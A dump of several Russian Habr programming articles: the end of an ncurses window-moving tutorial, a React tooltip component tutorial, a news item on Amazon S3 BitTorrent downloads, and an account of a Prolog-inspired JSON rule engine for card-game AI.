break;
case KEY_UP:
case KEY_DOWN:
case KEY_LEFT:
case KEY_RIGHT:
tui_move_panel(wins[panel_counter], user_key);
default:
if(isalpha(user_key))
waddch(wins[panel_counter]->overlay, user_key);
break;
}
//Ставим текущее выбранное окно на вершину стека и обновляем
top_panel(TOP);
touchwin(panel_window(TOP));
update_panels( );
doupdate( );
}
while (( user_key = getch( )) != KEY_F(12));
```
**А вот подпрограмма перемещения окна**
```
void tui_move_panel(curw *win, int ch)
{
int begy, begx, maxx, maxy, x, y;
getbegyx(panel_window(win->panel), begy, begx);
getmaxyx(panel_window(win->panel), maxy, maxx);
getmaxyx(stdscr, y, x);
switch (ch)
{
case KEY_UP:
if ((begy - 1) >= 0)
begy--;
break;
case KEY_DOWN:
if (((begy + 1) + maxy) <= y)
begy++;
break;
case KEY_LEFT:
if ((begx - 1) >= 0)
begx--;
break;
case KEY_RIGHT:
if (((begx + 1) + maxx) <= x)
begx++;
break;
}
move_panel(win->panel, begy, begx);
}
```
Ну и в результате
Думал описать больше, но судя по всему, это был бы слишком большой и скучный пост, я же лишь хотел обратить внимание на эту «древнюю технологию», у которой достаточно возможностей. За кадром остались манипуляции с текстом, с атрибутами и прочим. К примеру, возможно скопировать строку текста из любого окна, узнать его цвет и режим. И многое другое.
Надеюсь, это не было слишком скучным. | https://habr.com/ru/post/205222/ | null | ru | null |
# React, всплывающие подсказки (tooltips), для самых маленьких
Что такое всплывающие подсказки?
--------------------------------
Если дословно, то сам термин «tooltips» — английского происхождения и переводится как «советы по инструментам». Под этим термином согласно Википедии понимают информационную подсказку или подсказку, в которой при наведении курсора мыши на элемент экрана в текстовом поле отображается информация об этом элементе, например, описание функции кнопки, обозначение аббревиатуры и т. д.
Всплывающая подсказка (tooltip) может выглядеть например вот так:
Вы наверняка не раз с ними сталкивались, так что, всплывающие подсказки весьма распространенная штука для интерфейсов web приложений.
React — классный фреймворк для разработки web приложений. И на нем пишет множество разработчиков, в том числе и я. А поскольку у разработчика проектов как правило много, то хорошо было бы компоненты интерфейсов в своих проектах переиспользовать, с одного в другом. Для скорости разработки, классно иметь набор таких универсальных компонентов для интерфейса. Чтобы в этих компонентах поддерживался их базовый функционал, их можно было легко стилизовать под конкретный проект и по минимуму использовать сторонние библиотеки для их легковесности.
Давайте так и поступим — напишем самостоятельно универсальный и легко переиспользуемый компонент для всплывающих подсказок.
Писать будем на React + TypeScript, для стилизации будем использовать css.modules. В дальнейшем для плавной анимации появления и исчезновения всплывающих подсказок еще подключим React библиотеку «react‑transition‑group», но это потом.
А сейчас посмотрим на то, что мы хотим сделать. Наш будущий tooltip должен будет принять в себя произвольный элемент интерфейса в виде JSX компонента React, и при наведении указателя мыши на этот целевой элемент интерфейса — показать для него всплывающую подсказку.
Для начала создадим наш новый React компонент — ToolTipComponent.
`ToolTipComponent.tsx`
```
import React from 'react';
import classes from './ToolTipComponent.module.css';
const ToolTipComponent: React.FC = () => {
return (
ToolTip-Component
);
};
export default ToolTipComponent;
```
Его стилизацию определим в файле — ToolTipComponent.module.css, она у нас пока состоит всего из одного класса:
`ToolTipComponent.module.css`
```
.container {
display: flex;
}
```
Вставляем наш tooltip в компонент App:
```
import React from 'react';
import classes from './App.module.css';
import ToolTipComponent from './Components/ToolTipComponent/ToolTipComponent';
function App() {
return (
);
}
export default App;
```
Наше приложение теперь выглядит так:
Для того, чтобы внутри компонента ToolTipComponent мы могли отобразить целевой компонент при наведении на который мы хотим видеть всплывающую подсказку, мы должны передать этот целевой компонент как props — children в наш tooltip.
Так же нам понадобится текст для самой всплывающей подсказки, передадим его как props — text. Внутри компонента обернем текст подсказки в тег , для того чтобы стилизовать его и спозиционировать относительно его родительского контейнера.
Теперь наш ToolTipComponent выглядит так:
`ToolTipComponent.tsx`
```
import React, { ReactElement } from 'react';
import classes from './ToolTipComponent.module.css';
type PropsType = {
children: ReactElement;
text: string;
};
const ToolTipComponent: React.FC = ({children, text}) => {
return (
{children}
{text}
);
};
export default ToolTipComponent;
```
`ToolTipComponent.module.css`
```
.container {
position: relative;
display: flex;
}
.tooltip {
position: absolute;
width: 180px;
padding: 4px 12px;
margin-left: calc(100%);
justify-content: center;
color: #FFFFFF;
background-color: #FF8E00;
border-radius: 12px ;
text-align: center;
white-space: pre-line;
font-weight: 700 ;
pointer-events: none;
}
```
Создадим и стилизуем произвольный компонент. Я для нашего мини приложения создал ButtonComponent. Это самая обыкновенная кнопка, сделанная из тэга , кнопка ничего не будет делать. Однако это будет тот целевой компонент, в который мы обернем в наш в tooltip, для того чтобы когда мы наведем указатель мыши на эту кнопку, мы могли увидеть всплывающую подсказку.
`ButtonComponent.tsx`
```
import React from 'react';
import classes from './ButtonComponent.module.css';
const ButtonComponent: React.FC = () => {
return (
Нажми на меня
);
};
export default ButtonComponent;
```
Стилизация кнопки прописана здесь:
`ButtonComponent.module.css`
```
.container {
display: flex;
width: 80px;
justify-content: center;
align-items: center;
padding: 6px 24px;
text-align: center;
color: #FFFFFF;
background-color: #4A90E2;
font-size: 18px;
font-weight: 600;
border-radius: 12px;
cursor: pointer;
}
```
Экран нашего приложения теперь выглядит так — кнопка и рядом с ней спозиционирована наша всплывающая подсказка.
Управлять поведением нашей всплывающей подсказки мы будем через состояние React, используя hook — useState. В моменты, когда указатель мыши заходит на компонент tooltip, мы будем подсказку отображать. Как только указатель мыши компонент tooltip покидает, мы будем подсказку скрывать. Для чего используем события мыши для компонента React — «onMouseEnter» и «onMouseLeave».
Теперь наш TooTtipComponent выглядит так
`ToolTipComponent.tsx`
```
import React, { ReactElement, useState } from 'react';
import classes from './ToolTipComponent.module.css';
type PropsType = {
children: ReactElement;
text: string;
};
const ToolTipComponent: React.FC = ({ children, text }) => {
const [showToolTip, setShowToolTip] = useState(false);
const onMouseEnterHandler = () => {
setShowToolTip(true);
};
const onMouseLeaveHandler = () => {
setShowToolTip(false);
};
return (
{children}
{showToolTip && {text}}
);
};
export default ToolTipComponent;
```
и теперь наш tooltip уже динамически может показывать подсказку для нашей кнопки.
Однако видно, что подсказка появляется моментально, как только указатель мыши оказывается над целевым компонентом. Это не есть хорошо, с точки зрения пользовательского опыта, потому что пользователь уже взаимодействовал с этой кнопкой ранее и знает, для чего она применяется. В этом случае пользователю подсказка не нужна, он просто хочет нажать на кнопку. Давайте предоставим пользователю эту возможность.
Поправим наш tooltip, так что бы была задержка в 0,75 секунды, перед тем как появится всплывающая подсказка. За эти 0,75 секунды, пользователь успеет нажать на кнопку и подсказка для него не появится.
Чтобы реализовать подобный функционал, мы используем метод таймера setTimeout из браузерного API. При заходе указателя мыши на целевой компонент будет запускаться функция, обеспечивающая задержку показа текста всплывающей подсказки, а в случае выхода указателя мыши за пределы целевого компонента мы будем сбрасывать таймер setTimeout и скрывать текст всплывающей подсказки. Чтобы не потерять идентификатор setTimeOut между перерендерами нашего React компонента ToolTipComponrent, мы поместим значение идентификатора метода setTimeout в поле current хука React — useRef. Поле current хука useRef является универсальным хранилищем в React компонентах для данных, которые мы хотим сохранять между их перерендерами.
И теперь наш код нашего tooltip компонента выглядит так:
`ToolTipComponent.tsx`
```
import React, { ReactElement, useRef, useState } from 'react';
import classes from './ToolTipComponent.module.css';
type PropsType = {
children: ReactElement;
text: string;
};
const ToolTipComponent: React.FC = ({ children, text }) => {
const refSetTimeout = useRef();
const [showToolTip, setShowToolTip] = useState(false);
const onMouseEnterHandler = () => {
refSetTimeout.current = setTimeout(() => {
setShowToolTip(true);
}, 750);
};
const onMouseLeaveHandler = () => {
clearTimeout(refSetTimeout.current);
setShowToolTip(false);
};
return (
{children}
{showToolTip && {text}}
);
};
export default ToolTipComponent;
```
Как видно на видео, наша идея с задержкой появления текста подсказки в 0,75 секунды работает. Всплывающая подсказка появляется только спустя какое‑то время, после того как пользователь навел указатель мыши на кнопку. Если бы он нажал на кнопку или увел указатель за пределы кнопки быстрее, чем установленная нами задержка в 0,75 секунды, то всплывающая подсказка для него так бы и не появилась.
Но для того, чтобы наш компонент всплывающих подсказок был универсальным и мы могли переиспользовать его в разных проектах, нам необходимо добавить возможность стилизации всплывающей подсказки. Сделаем это через передачу еще одного props — customClass в наш компонент.
И теперь наш код компонент всплывающих подсказок выглядит так:
`ToolTipComponent.tsx`
```
import React, { ReactElement, useRef, useState } from 'react';
import classes from './ToolTipComponent.module.css';
type PropsType = {
children: ReactElement;
text: string;
customClass?: string;
};
const ToolTipComponent: React.FC = ({ children, text, customClass }) => {
const refSetTimeout = useRef();
const [showToolTip, setShowToolTip] = useState(false);
const toolTipClasses = customClass ? `${classes.tooltip} ${customClass}` : `${classes.tooltip}`;
const onMouseEnterHandler = () => {
refSetTimeout.current = setTimeout(() => {
setShowToolTip(true);
}, 750);
};
const onMouseLeaveHandler = () => {
clearTimeout(refSetTimeout.current);
setShowToolTip(false);
};
return (
{children}
{showToolTip && {text}}
);
};
export default ToolTipComponent;
```
Подключим.customStyle — передав его в props нашему ToolTipComponent:
`App.tsx`
```
import React from 'react';
import classes from './App.module.css';
import ToolTipComponent from './Components/ToolTipComponent/ToolTipComponent';
import ButtonComponent from './Components/ButtonComponent/ButtonComponent';
function App() {
return (
);
}
export default App;
```
.customClass для нашего нового стиля подсказки выглядит так:
`App.module.css`
```
.container {
display: flex;
padding: 64px;
}
.toolTipCustom {
display: flex;
top: -5px;
left: 32px;
height: 48px;
padding: 8px 32px;
align-items: center;
background-color: #1e9f00;
color: #fdfa65;
border-radius: 50%;
}
```
Вот как теперь выглядит наша всплывающая подсказка. Она стилизована и спозиционированна точно так как мы ее описали в css классе.toolTipCustom
Казалось бы, на этом и все, мы добились чего хотели — У нас есть универсальный компонент для отображения всплывающих подсказок. В этот компонент мы можем обернуть любой элемент нашего интерфейса, передать в него текст всплывающей подсказки, стили для нее, и получить при наведении мыши на этот элемент нашу всплывающую подсказку.
И этот вполне себе уже рабочий компонент, однако совсем несложно улучшить его еще.
С помощью библиотеки «react‑transition‑group» предоствляемой командой создателей React, мы добавим к нашей всплывающей подсказке возможность появляться плавно, выезжать со стороны и затем плавно исчезать. И для придания всех этих расширенных свойств нашей всплывающей подсказке мы используем компонент «CSSTransition» из библиотеки «react‑transition‑group»
Сначала установим из саму библиотеку из npm и затем подключим «CSSTransition» в наш tooltip компонент. Заметьте, что вместо условия по которому мы раньше разрешали рендеринг подсказки, теперь импортированный компонент «CSSTransition» возьмет на себя обязанность контролировать отображение нашей всплывающей подсказки, а так же будет применять стилизацию для анимации которую мы сейчас реализуем.
`ToolTipComponent.tsx`
```
import React, { ReactElement, useRef, useState } from 'react';
import classes from './ToolTipComponent.module.css';
import { CSSTransition } from 'react-transition-group';
type PropsType = {
children: ReactElement;
text: string;
customClass?: string;
};
const transitionClasses = {
enter: classes.exampleEnter,
enterActive: classes.exampleEnterActive,
exit: classes.exampleExit,
exitActive: classes.exampleExitActive,
};
const ToolTipComponent: React.FC = ({ children, text, customClass }) => {
const refSetTimeout = useRef();
const [showToolTip, setShowToolTip] = useState(false);
const toolTipClasses = customClass ? `${classes.tooltip} ${customClass}` : `${classes.tooltip}`;
const onMouseEnterHandler = () => {
refSetTimeout.current = setTimeout(() => {
setShowToolTip(true);
}, 750);
};
const onMouseLeaveHandler = () => {
clearTimeout(refSetTimeout.current);
setShowToolTip(false);
};
return (
{children}
{text}
);
};
export default ToolTipComponent;
```
Для стилизации анимации у компонента «CSSTransition» задействуется его 4 внутренних класса:
* enter — как компонент выглядит на начале анимации появления;
* enterActive — как компонент выглядит в процессе анимации появления;
* exit — как компонент выглядит на конце анимации исчезновения;
* exitActive — как компонент выглядит в процессе анимации исчезновения.
Зададим в css классах для нашей всплывающей подсказки плавное ее появление через свойство «opacity,» и такой же плавный спуск сверху через transform: translateY().
`ToolTipComponent.module.css`
```
.container {
position: relative;
display: flex;
}
.tooltip {
position: absolute;
width: 180px;
padding: 4px 12px;
margin-left: calc(100%);
justify-content: center;
color: #FFFFFF;
background-color: #FF8E00;
border-radius: 12px ;
text-align: center;
white-space: pre-line;
font-weight: 700 ;
pointer-events: none;
}
.exampleEnter {
opacity: 0;
transform:translateY(-100%);
}
.exampleEnterActive {
opacity: 1;
transform:translateY(0);
transition: opacity 350ms, transform 350ms;
}
.exampleExit {
opacity: 1;
transform:translateY(0);
}
.exampleExitActive {
opacity: 0;
transform:translateY(-100%);
transition: opacity 350ms, transform 350ms;
}
```
И теперь финальная версия нашей всплывающей, точнее уже плавно спускающейся сверху и так же плавно уезжающей вниз подсказки на экране пользователя выглядит так.
Поигравшись со стилями класса «.toolTipCustom» в файле `App.module.css` вы легко настроите внешний вид вашей всплывающей подсказки. А поигравшись со стилями «.exampleEnter», «.exampleEnterActive», «.exampleExit», «.exampleExitActive» в файле `ToolTipComponent.module.css`вы легко настроите любую анимацию появления и исчезновения вашей подсказки. Вы можете менять время задержки, время анимации, стороны появления и исчезновения, цвета, размеры, шрифты и пользоваться всей мощью стилизации через css классы, что нам предоставляют современные браузеры.
Вы свободны экспериментировать с кодом приведенным в данной статье и использовать его в своих интересах и проектах.
Код приведенный в статье [доступен на GitHub](https://github.com/alexeyk500/ToolTipComponent).
P. S. — Статья написана в память о моей классной работе в 2021–2023 году в компании «E‑ngineers», с коллегами которые много чему научили меня за эти два года которые мы программировали вместе!!!
С уважением, alexeyk500. | https://habr.com/ru/post/714270/ | null | ru | null |
# Amazon S3 скрестили с BitTorrent
Компания Amazon разрешает скачивать файлы с хостинга S3 [по протоколу BitTorrent](https://docs.aws.amazon.com/AmazonS3/latest/dev/S3Torrent.html). Через торренты можно распространять любые общедоступные файлы Amazon S3 размером не более 5 ГБ (возможно, в будущем это ограничение снимут). Для этого следует установить клиентское программное обеспечение (рекомендуется Amazon S3BitTorrent).
Чтобы скачать торрент для любого объекта, достаточно к концу URL добавить `?torrent`.
**Пример запроса**
```
GET /quotes/Nelson?torrent HTTP/1.0
Date: Wed, 25 Nov 2009 12:00:00 GMT
```
**Ответ**
```
HTTP/1.1 200 OK
x-amz-request-id: 7CD745EBB7AB5ED9
Date: Wed, 25 Nov 2009 12:00:00 GMT
Content-Disposition: attachment; filename=Nelson.torrent;
Content-Type: application/x-bittorrent
Content-Length: 537
Server: AmazonS3
```
Благодаря торрентам владельцы сайтов могут существенно сэкономить на трафике, ведь S3 берёт оплату за количество переданной информации. Если же выкладывать торренты, то раздача файла осуществляется через пиринговую сеть от одних пользователей к другим. К тому же, это снимает ограничение на общую пропускную способность, когда много пользователей одновременно хотят скачать один и тот же файл.
В некоторых случаях использование торрентов предпочтительнее, чем стандартная передача типа сервер/клиент, особенно на популярных файлах.
За использование торрентов Amazon [не взимает](https://docs.aws.amazon.com/AmazonS3/latest/dev/S3TorrentCharge.html) какой-либо дополнительной платы. | https://habr.com/ru/post/357774/ | null | ru | null |
# Навеянное Prolog-ом коммерческое решение пробыло больше 10 лет в эксплуатации
Для большинства программистов которые хотя бы слышали про Prolog это только странный артефакт из времён когда компьютеры были размером с динозавров. Некоторые сдали и забыли в институте. И лишь узкие как листочек A4 специалисты сталкивались с чем-то подобным в современном мире. Так уж получилось, что далёком 2003-ем году я использовал некоторые решения подчерпнутые из Prolog-а, в коммерческих играх на Flash и больше десятилетия они радовали французов. Причём применил я это полудекларативное решение не потому что прочитал [книжку Братко](https://www.libfox.ru/372518-ivan-bratko-programmirovanie-na-yazyke-prolog-dlya-iskusstvennogo-intellekta.html) и впечатлился, а потому что это было реально нужно нашему проекту. Я до сих пор регулярно порываюсь воспроизвести то решение на современном уровне, потому что оно очень много где было бы полезным в современном игрострое, но, к сожалению, каждый раз находятся дела поважнее… В общем об этом всём и расскажу.
*Скриншот той самой флэшовой игры до сих пор приветствует вас на сайте [toox.com/jeux/jeux-de-cartes/coinche](http://toox.com/jeux/jeux-de-cartes/coinche)*
Постановка задачи и её актуальность
-----------------------------------
Квош, Белот и Таро — национальные французские игры. По правилам это примерно как игра в преферанс в закрытую, причём играют пара на пару, так что по тому сколько взяток и на каком козыре во время торга за прикуп предлагает объявить игру твой напарник можно примерно понять что у него за карты. Игра длинная и существование AI способного кое как довести игру до конца в ней просто жизненно необходимо, потому что один из игроков может просто выйти из-за стола решив, что он безнадёжно проигрывает, а победителю естественно хочется додавить до финального счёта на табло. В этом случае за потерявшегося игрока доигрывает AI. Но раз уж у нас есть AI почему бы нам не разрешить начинать игру досадив на пустующие места AI-шки. И вот мы запустили эти прекрасные игры в массы и быстро выяснили, что в основном есть два варианта как нравится играть французам. Примерно половина всех столов до победного ждёт заполнения живыми людьми, а половина приходит потупить и стартует игру против трёх AI, как на скриншоте выше.
В принципе, так как игра идёт в закрытую, люди готовы простить роботам мелкие просчёты и альтернативную одарённость. В основном потому что карт робота не видят. «Под игрока с семака», «под вистуза с туза» и тому подобные простые правила, которые я вытряхнул из нашего французского заказчика позволили сделать минимально приемлемого кидателя карт. Он был нафигчен за неделю прямо на if-ах. С другой стороны игра идёт «двое на двое», очки считаются для пары, и вполне естественно игрок не хочет, чтобы его тупой напарник заходил «со второго короля», то есть имея на руках короля и ещё какую-то мелкую карту делал ход в эту масть, вместо того чтобы дать противнику сыграть туза, пропустив его мелкой картой и забрать следующий ход в эту масть своим королём. (На самом деле в этих играх вторая по старшинству карта — 10, но тут и дальше я буду говорить в понятных русским терминах). Но если туз по какой-то причине вышел из игры, а у вас Дама и ещё что-то мелкое, то это же почти как второй король. Особенно если предварительно проредить козырей. А ещё вы, например, играете не в Белот, где используется 32 карты, а в Таро, в которой игра идёт колодой в 78 карт, (той самой, по которой некоторые гадают). И там в некоторых случаях забрать взятку может даже не третья дама, а четвёртый валет. В общем всё это порождает такое количество граничных случаев, что тупой болванчик на if-ах становится уже как-то совсем неприемлемо сложным. И вот на этом месте я сказал: «Ба! Да я же начитался [Братко](https://www.libfox.ru/372518-ivan-bratko-programmirovanie-na-yazyke-prolog-dlya-iskusstvennogo-intellekta.html) и впечатлился!» Дальше я на несколько дней сбежал из офиса, сел с ноутбуком в кафешке и спустя несколько дней породил нечто.
Основные идеи
-------------
На чём, декларативно говоря основан Пролог? На фактах, например:
```
мама('Галя', 'Ира').
мама('Ира', 'Алиса').
```
и на термах, или правилах, например если А мама Б, то А девочка:
```
девочка(А) :- мама(А, Б).
```
Я конечно понимаю, что в наше время не всё так однозначно, и вообще говорить такое даже немного неприлично, но во времена когда люди верили в формальную логику в таких примерах ещё не было ничего предосудительного. Давайте для толерантности скажем:
```
предок(A, B) :- мама(A, B).
предок(А, В) :- предок(А, С), предок(С, В).
```
А потом ты такой Спрашиваешь:
```
?- предок (X, 'Алиса')
```
А страшно логичный Пролог тебе и отвечает:
```
X = 'Ира'
X = 'Галя'
```
Идея была в том, том, чтобы пользователь не грел себе голову тем в какой последовательности и в каком количестве пролог система применит правила к фактам чтобы прийти к ответу. Но, конечно же, всё не так просто. Пролог оброс костылями, функциональными дополнениями, отсекателями разных веток рассуждений и тому подобным, и всё равно регулярно убегает в бесконечную рекурсию.
В книжке того самого воодушевляющего Братко целая глава была посвящена тому как внутри реализовывается пролог-машина. Если коротко она обходит дерево всех правил в глубину, пытаясь применить по очереди каждое из правил к множеству всех известных ей фактов и переменных чтобы получить новое состояние, и если применить правило не удаётся откатывается к предыдущему шагу и пытается попробовать другой вариант.
При этом если что-то полезное наскрести удаётся — машина берёт список правил начинает на следующем шаге искать правилам применение с самого начала списка. При этом если в правилах встречается переменная, машина запоминает какие с учётом уже применённых правил могут быть состояния этих переменных. Это называется конкретизация. Если удаётся найти конкретизацию переменных при которой заданные вопрос — истина, она печатает эту конкретизацию. Потом она может пойти искать следующую конкретизацию и так далее. В приведённом выше насквозь искусственном примере система нашла две конкретизации удовлетворяющие условиям.
Вот хотелось бы как-то похоже формулировать правила игры, но конечно не буквально. Имея определённый опыт отладки программ на Прологе я совершенно не горел желанием сталкиваться этой отладкой и этими накладными расходами у себя на проде.
Общие хотелки
-------------
Во-первых, всё это должно работать не над кучей разрозненных фактов, а над деревом состояния игры — моделью и применять результаты своей работы тоже к этому же дереву. Во-вторых, хочется записывать правила так чтобы в одной же позиции могло быть и конкретное значение, и переменная, и арифметическое выражение и система должна это соответствующим образом обработать не задавая программисту дополнительных вопросов и не требуя дополнительного синтаксиса. В-третьих, конечно жизненно важно отказаться от бесконечной рекурсии, но некоторые повторения применения правил все же необходимо оставить. В-четвёртых, система правил должна записываться в каком-то очень удобном человекочитаемом формате, так чтобы при одном взгляде на них было понятно что хотел сказать автор. Ну и наконец, в-пятых, всему этому нужно прикрутить какой-нибудь удобный инструмент логирования и отладки, чтобы было легко следить за рассуждениями этой системы и понимать почему те или иные правила не срабатывают вопреки ожиданиям.
Это уже, конечно получается никакой не универсальный решатель логики предикатов первого порядка, а просто удобная декларативная система правил игры. Что в практическом смысле тоже очень неплохо. Название Logrus я для этого придумал сильно позже на одном из следующих проектов. Я буду описывать сразу конечную версию минуя все промежуточные стадии развития движка.
Получившийся в итоге синтаксис бибилотеки Logrus
------------------------------------------------
Щаз будет очень много синтаксиса.
1) В рантайме дерево решения хранится в виде некоторых классов, но первое, что я к нему приделал, как только оно заработало — Import и Export в JSON. Оказалось, что это удобно ещё и потому, что если у вас не сильно поменялась структура данных обновление правил можно накатить из файла без перекомпиляции. Запись в виде JSON оказалось настолько удобной, что на одном из следующих проектов программисты когда торопились иногда вместо того чтобы писать нормальную команду делали просто `state.AplayJSON("...");` и в нём нужное действие вставляли в виде JSON строки. На производительности это, конечно, сказывалось не очень хорошо, но если не регулярно и только в ответ на нажатие пользователя, то не страшно… Всё дальше я буду иллюстрировать сразу JSON-ами. JSON-ы воспроизвожу примерно и по памяти, потому что шибко давно дело было. Строго говоря, JSON не гарантирует порядок следования нод в объекте, но большинство библиотек все-же его соблюдают, и здесь и далее порядок нод активно используется.
2) Основной структурной единицей движка стало Правило. Правило состоит из условия и действия. Обычно правила шли массивами и применялись одно за другим каждое один раз.:
```
[{"condition":{}, "action":{}},
{"condition":{}, "action":{}}]
```
3) В каждом правиле содержится условие — это шаблон дерева, возможно содержащий переменные. Система поищет совпадает ли дерево состояния с шаблоном при каких-нибудь значениях переменных. И если найдёт такую конкретизацию вызовет действие. Например:
```
{"condition":{
"player":{
"$X":{"gold" : "<20", "name":"$NAME"}
}},
"action":{}}
```
Такая конструкция будет означать, что для того чтобы было вызвано действие в дереве должна иметься на верхнем уровне нода «player» в которой одна или несколько дочерних нод, в каждой из которых есть поля «gold» со значением меньше 20 и «name». Если такое условие будет выполнено, то будет вызвано действие, причём в качестве входных данных ему будут переданы в переменной X — ключ ноды, а в переменной NAME имя игрока. Если подходящих нод и соответственно возможных конкретизаций окажется несколько, то действие вызвано будет несколько раз с каждой из найденных конкретизаций на входе.
4) Первоначально там всё было чуть-чуть менее гибко, но потом Valyard, которого многие знают по многочисленным выступлениям на конференциях про Unity, прикрутил нам синтаксический анализатор, разбирающий арифметические выражения в шустрое дерево решений и гибкость окончательно расцвела буйным цветом.
5) C $ начинаются имена переменных. Они могут встречаться как в виде ключа, такого как $X и тогда будет выбрано несколько конкретизаций, в виде значения листа, такого как $NAME, могут вставляться в арифметические выражения: например так: {«gold»: "< $X \* 10"}И тогда использоваться для проверки условий, проверку пройдёт только те игроки, у которых золота больше чем их порядковый номер умноженный на 10, и наконец Они могут непосредственно вычисляться в каком-нибудь выражении, например так:{«gold»: "$X = 3 + $this"} где $this это значение текущей точки в которой вызвано вычисление. Прохождение этого узла конкретезирует значение переменной $X как 3+количество золота у игрока. Из возможностей, которые приходили в голову не реализована была только одна — переменная не может впервые встречаться в правой части арифметического выражения, это будет ошибка, к моменту использования в качестве аргумента она уже должна быть конкретизирована одним из нескольких других способов.
6) Переменная в выражении может встречаться сколько угодно раз, при этом первое упоминание её конкретизирует, а следующие будут проверкой на равенство. Например такая конструкция возьмёт первого игрока, проверит его на наличие денег, потом поищет другого игрока для которого первый бы был целью. Если не найдет, откатится к точке конкретизиции X выберет следующего игрока, проверит на деньги и так далее пока не переберёт все допустимые варианты X и Y. Поменяв строки местами программист изменит порядок проверок, но не конечный результат:
```
{ "player":{
"$X":{"gold":">20"},
"$Y":{"target":"$X"}
}}
```
7) Действие также представляет из себя шаблон дерева, могущий содержать переменные и арифметические выражения, и дерево состояния игры будет изменено так чтобы ему соответствовать. Например этот шаблон, назначит игроку X противника в виде игрока Y, но если бы по какой-то причине игрока Y не существовало он был бы создан. А игрок «superfluous» вообще будет удалён. На момент создания игры со скриншота признаком удаления было значение null, но потом я заменил его на зарезервированное слово, на случай если кому-то потребуется по ключу вставить пустое значение. В целом принцип, думаю, понятен, и смысл совершаемых с игрой действий в основном тоже.
```
{
"condition":{
"player":{
"$X":{"gold":">20"},
"$Y":{"target":"$X"}}},
"action":{
"$X":{"target":"$Y"},
"superfluous":"@remove"}
}
```
8) Действием также может являться не шаблон дерева, а массив в свою очередь правил. Каждое из них будет проверяться не с нуля, а именно с той первоначальной конкретизацией, с которой было вызвано действие. То-есть там может быть целая группа правил, и все они будут использовать переменную X.
```
{
"condition":{
"player":{
"$X":{}, "$Y":{"target":"$X"}}},
"action":[
{"condition":{}, "action":{}},
{"condition":{}, "action":{}}]
}
```
9) Дочернее правило может применяться не от корня дерева состояния, а от какой-то точки, достигнутой в ходе применения действия. В этом случае все условия и все действия будут использовать эту точку в качестве корня. Выглядит это примерно так:
```
{
"condition":{
"player":{
"$X":{}, "$Y":{"target":"$X"}}},
"action":{
"$X":{"@rules":[
{"condition":{}, "action":{}},
{"condition":{}, "action":{}}]}
}
```
10) Повторение правила могло быть задано в качестве ещё одной ноды, этим достигалась, если надо, рекурсия ограниченной глубины. Но на практике такое решение обычно не было необходимым. Его можно использовать так же чтобы повторять пачку правил сколько нужно, поместив его в action:
```
{
"condition":{},
"action":{},
"repeat":5
}
```
11) Дерево правил можно было грузить из нескольких файлов JSON, их древовидная структура просто накладывалась одна на другую. Это было удобно чтобы разбить правила на отдельные осмысленные блоки. Наверное полезен был бы и какой-нибудь Include, сейчас уже не помню как у нас оно было устроено.
12) Логирование! Любое правило могло иметь ноду "@log":true, что приводило к тому, что это правило начинало очень подробно срать в лог описанием процесса решения. Какие конкретизации пробуем, какие ветки рассуждений пресекаются и почему. Логирование было иерархическое, то есть вложенное правило могло быть "@log":false и всё что происходит в нём и ниже в лог не попадёт. В идеале я бы хотел чтобы эту ноду можно было оставляь вообще у любом месте дерева условий, чтобы смотреть только на происходящее в одном уровне шаблона, но такое расширение я так, кажется, и не доделал. Возможно отладка и без него проходила нормально, поэтому его и откладывали на «когда-нибудь».
13) Типизация. Игрушка была настолько старой, что некоторые из нынешних программистов тогда ещё не родились. Написана она была на языке ActionScript2, в котором была динамическая типизация и наследование через прототипы доступное прямо в рантайме. Из современных языков которые на слуху, так устроен только Python. Однако к данной идее прикрутить типизацию не представляет особой сложности. Я бы сделал это используя ключевой символ ':' например так: "$X:int" однако тут может возникнуть хитрость если первое вхождение переменной не имело никого указанного типа. А кроме того может возникнуть путаница с тернарным оператором.
Как говорится, гладко было на бумаге, но практическое использование потребовало некоторого количества разнообразных костылей. Вот те из них, которые я помню:
14) Одна и та же нода могла проверяться не одним, а несколькими условиями. Например такое условие сначала проверяло, что денег больше 20, а потом конкретизировало переменную в которой это количество денег представлено. Служебный символ '@' если он расположен не в начале строки означал повторных вход в ноду, идущий дальше идентификатор повторного входа никак не пригодился. Возможно служебный символ использовался и какой-то другой, но ничего, по-моему, не мешает тому чтобы использовать этот:
```
{
"player":{
"$X":{"gold":"<20", "gold@cnt":"$COUNT"}
}
}
```
15) Потребовались арифметические операции, которые можно было выполнять вообще без использования какой-то ноды. По традиции пролога они обозначались '\_' и их можно быть много:
```
{
"_":"$SUM=$A+$B",
"_@check":"@SUM <20"
}
```
16) Раз есть проход проверки вверх по дереву, потребовался и спуск вниз, делающийся через ключевое слово "@parent". Читаемости это, конечно, не прибавляло, но обойтись без этого никак не получалось. Тут, конечно, прямо напрашивается какой-то аналог функции path который бы переадресовывал на указанное место в дереве, но я не помню, успел я его реализовать его в итоге или нет:
```
{
"condition":{
"player":{
"$X":{}, "$Y":{"target":"$X"}}},
"action":{
"$X":{"rules":[
{
"condition":{
"@parent":{"@parent":{"…":"…"}}
}
]},
}
}
```
17) У действия появилась возможность непосредственно подёргать какой-нибудь метод класса. Это такой пинок под дых читаемости, и я бы предпочёл какой-нибудь аналог #include, но уж как есть, из песни слов не выкинешь. Интересно, смогу ли я без этого обойтись на практике если реанимирую библиотеку сейчас на C#?
18) У правила появилась дополнительная настройка повторять действие не для всех найденных конкретизаций, а только для первой. Не помню сейчас как называлась, но зачем-то этот костыль был полезен для каких-то правил.
Результаты использования
------------------------
Как только библиотека начала активно использоваться на неё быстро перевели все AI-шки и это сделало возможным иметь вдвое более умные AI тратя при этом в три раза меньше программистских ресурсов. Очень помогло этому то, что промежуточные данные AI-шка хранила прямо в дереве. В частности информация о вышедших из игры картах каждой масти правила сами прописывали прямо в дерево состояния игры.
Уже в следующем проекте на этот же движок переехала и проверка правил игры и составление возможных из каждой позиции ходов. И вообще не только для быстрого прототипирования, но и для игр в которых просто много правил это было бы прям очень полезной штукой. В конце концов загружаемыми JSON-ами с логикой можно заменить половину того что программисты делают кодом, ещё и в гибкости выиграть.
Конечно по скорости выполнения это всё заметно уступало мешанине if-ов, особенно в реализации на AS2 с его прототипами и динамическими объектами, но не на столько, чтобы это нельзя было выкатить в прод.
Следующим шагом должен был стать перенос проверки правил и определение действия за AI на клиентский компьютер. Чтобы игроки проверяли друг друга. И я даже придумал такой алгоритм, чтобы делать это не смотря на то что значения карт противника нам не известны, но это была уже совсем другая история.
